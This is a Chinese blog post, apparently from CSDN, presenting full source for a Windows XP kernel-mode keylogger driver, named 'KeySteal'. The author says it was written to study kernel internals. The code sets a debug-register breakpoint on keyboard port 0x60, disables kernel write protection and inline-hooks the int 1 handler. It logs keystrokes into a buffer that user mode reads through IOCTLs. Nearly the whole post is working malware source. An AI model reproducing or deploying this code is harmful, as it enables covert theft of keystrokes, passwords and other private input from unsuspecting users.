利用debug功能的键盘记录器

本文介绍了一个基于Windows内核的情景分析实现的键盘记录器。该记录器通过设置IO断点和使用内联钩子拦截int1中断来捕获键盘输入。文章提供了完整的源代码,并解释了如何启动和停止键盘记录器。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

为了巩固偶看内核情景第二章,第九章的知识,自己写了个键盘记录器。
原理很老套,无非是下io断点,inlinehook int 1 中断,详细的东东都可以在
windows内核情景分析第二章,软件调试第四章里找到,我就不搬教科书了00!也不是啥新东西。
#include
#include
#define IOCTL_START_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x810,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_STOP_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x811,METHOD_BUFFERED,FILE_ANY_ACCESS)
UCHAR Buffe_0_1_2[256];
ULONG Numbers,HookPointer, JmpOffset, HookOffset, HookCode,SaveOffset, KernelBase;
void SetBreakPoint()
{
  _asm {
    mov eax, 0x60
    mov dr3,eax
    _emit 0x0F
    _emit 0x20
    _emit 0xE0
    or eax, 0x8
    _emit 0x0F
    _emit 0x22
    _emit 0xE0
    mov eax, dr7
    or eax, 0x20000140
    mov dr7,eax
  }
}
void ClearBreakPoint()
{
  _asm {
      cli
      xor eax,eax
      mov dr3,eax
      _emit 0x0F
      _emit 0x20
      _emit 0xE0
      and eax, 0xfffffff7
      _emit 0x0F
      _emit 0x22
      _emit 0xE0
      mov eax, dr7
      and eax, 0xDffffebf
      mov dr7,eax
      sti
  }
}
void ClearHook ()
{
  _asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
    mov ebx, HookPointer
    mov eax, SaveOffset
    xchg [ebx], eax
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
      }
}
void SetHook ()
{
  HookPointer = KernelBase + HookOffset;
  JmpOffset = HookCode - (HookPointer + 4);
  *(PUCHAR)(HookCode + 0x5d) = 0xe8;
  *(PULONG)(HookCode + 0x5e) =  (HookPointer + 4) + SaveOffset - (HookCode + 0x62);  
  _asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
    mov ebx, HookPointer
    mov eax, JmpOffset
    xchg [ebx], eax
    mov SaveOffset, eax
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
      }
}
void  InlineHook()
{
  _asm {
    push eax
    push esi
    mov eax, dr7
    or eax, 0x20000140
    mov dr7,eax
    mov eax,dr6
    test eax, 8
    jz _pass
    mov esi, offset Buffe_0_1_2
    add esi, Numbers;
    mov eax, [ebp + 44h]
    mov byte ptr [esi], al
    inc Numbers
    cmp Numbers, 256
    jnz _jump
    xor eax,eax
    mov Numbers, eax
_jump:
    pop esi
    pop eax
    mov esp, ebp
    add esp, 30h
    pop gs
    pop es
    pop ds
    pop edx
    pop ecx
    pop eax
    add esp, 8
    pop fs
    pop edi
    pop esi
    pop ebx
    pop ebp
    add esp, 4
    iretd
_pass:
    pop esi
    pop eax
    nop
    nop
    nop
    nop
    nop
  }
}
NTSTATUS GetKernelBase ()
{
  NTSTATUS status;
  ULONG length;
  UNICODE_STRING Destination;
  PSYSMODULELIST sysinfo;
  RtlInitUnicodeString (&Destination, L"ZwQuerySystemInformation");
  ZwQuerySystemInformation = 
    (ZWQUERYSYSTEMINFORMATION)MmGetSystemRoutineAddress (&Destination);
  status = ZwQuerySystemInformation(SystemModuleInformation,NULL,0,&length);
  if (status == STATUS_INFO_LENGTH_MISMATCH)
  {
    sysinfo = ExAllocatePoolWithTag(NonPagedPool,length,0x123456);
    if (NULL == sysinfo)
    {
      return STATUS_INSUFFICIENT_RESOURCES;
    }
  }
  status = ZwQuerySystemInformation(SystemModuleInformation
    , sysinfo, length, &length);
  if(!NT_SUCCESS(status))
  {
    ExFreePoolWithTag (sysinfo, 0x123456);
    return STATUS_UNSUCCESSFUL;
  }
  KernelBase = sysinfo->smi[0].Base;
  ExFreePoolWithTag (sysinfo, 0x123456);
  return STATUS_SUCCESS;
}
NTSTATUS 
Unload (PDRIVER_OBJECT DriverObject)
{
  UNICODE_STRING SymbolLink;
  RtlInitUnicodeString (&SymbolLink, L"//??//KeySteal");
  ExFreePoolWithTag (HookCode, 0x123456);
  IoDeleteSymbolicLink (&SymbolLink);
  IoDeleteDevice (DriverObject->DeviceObject);
  return STATUS_SUCCESS;
}
NTSTATUS
ReadRoutine (
  PDEVICE_OBJECT DeviceObject,
  PIRP pIrp
  )
{
  NTSTATUS status = STATUS_SUCCESS;
  RtlCopyMemory (pIrp->AssociatedIrp.SystemBuffer, Buffe_0_1_2, 256);
  pIrp->IoStatus.Status = STATUS_SUCCESS;
  pIrp->IoStatus.Information = 256;
  IoCompleteRequest (pIrp, IO_NO_INCREMENT);
  return status;
}
NTSTATUS 
DeviceControlRoutine (
  PDEVICE_OBJECT DeviceObject,
  PIRP pIrp
  )
{
  ULONG code;
  PIO_STACK_LOCATION stack = NULL;
  stack = IoGetCurrentIrpStackLocation (pIrp);
  code = stack->Parameters.DeviceIoControl.IoControlCode;
  switch (code)
  {
  case IOCTL_START_KEYFIL:
    SetBreakPoint();
    SetHook();
    break;
  case IOCTL_STOP_KEYFIL:
    ClearBreakPoint();
    ClearHook();
    break;
  default:
    break;
  }
  pIrp->IoStatus.Status = STATUS_SUCCESS;
  pIrp->IoStatus.Information = 0;
  IoCompleteRequest (pIrp, IO_NO_INCREMENT);
  return STATUS_SUCCESS;
}
NTSTATUS
DispatchRoutine (
  PDEVICE_OBJECT DeviceObject, 
  PIRP pIrp)
{
  pIrp->IoStatus.Status = STATUS_SUCCESS;
  pIrp->IoStatus.Information = 0;
  IoCompleteRequest(pIrp, IO_NO_INCREMENT);
  return STATUS_SUCCESS;
}
NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
  int i;
  NTSTATUS status;
  PDEVICE_OBJECT DeviceObject;
  UNICODE_STRING DeviceName,SymbolLink;
  _asm int 3
  HookOffset = 0x67026; //just for winxp sp3
  RtlInitUnicodeString (&DeviceName, L"//Device//KeySteal");
  status = IoCreateDevice (
    DriverObject, 
    0, 
    &DeviceName, 
    FILE_DEVICE_UNKNOWN, 
    0, 
    FALSE, 
    &DeviceObject);
  if (!NT_SUCCESS(status))
  {
    return STATUS_UNSUCCESSFUL;
  }
  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++)
  {
    DriverObject->MajorFunction[i] = DispatchRoutine;
  }
  DeviceObject->Flags |= DO_BUFFERED_IO;  
  DriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine;
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine;
  DriverObject->DriverUnload = Unload;
  //创建符号连接
  RtlInitUnicodeString (&SymbolLink, L"//??//KeySteal");
  status = IoCreateSymbolicLink (&SymbolLink, &DeviceName);
  if (!NT_SUCCESS (status))
  {
    if (NULL != DeviceObject)
    {
      IoDeleteDevice (DeviceObject);
    }
    return status;
  }
  RtlZeroMemory(Buffe_0_1_2, 0, 256);
  GetKernelBase();
  HookCode = ExAllocatePoolWithTag (NonPagedPool, 100, 0x123456);  
  RtlCopyMemory (HookCode, (ULONG)InlineHook + 8, 0x62);
  return STATUS_SUCCESS;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值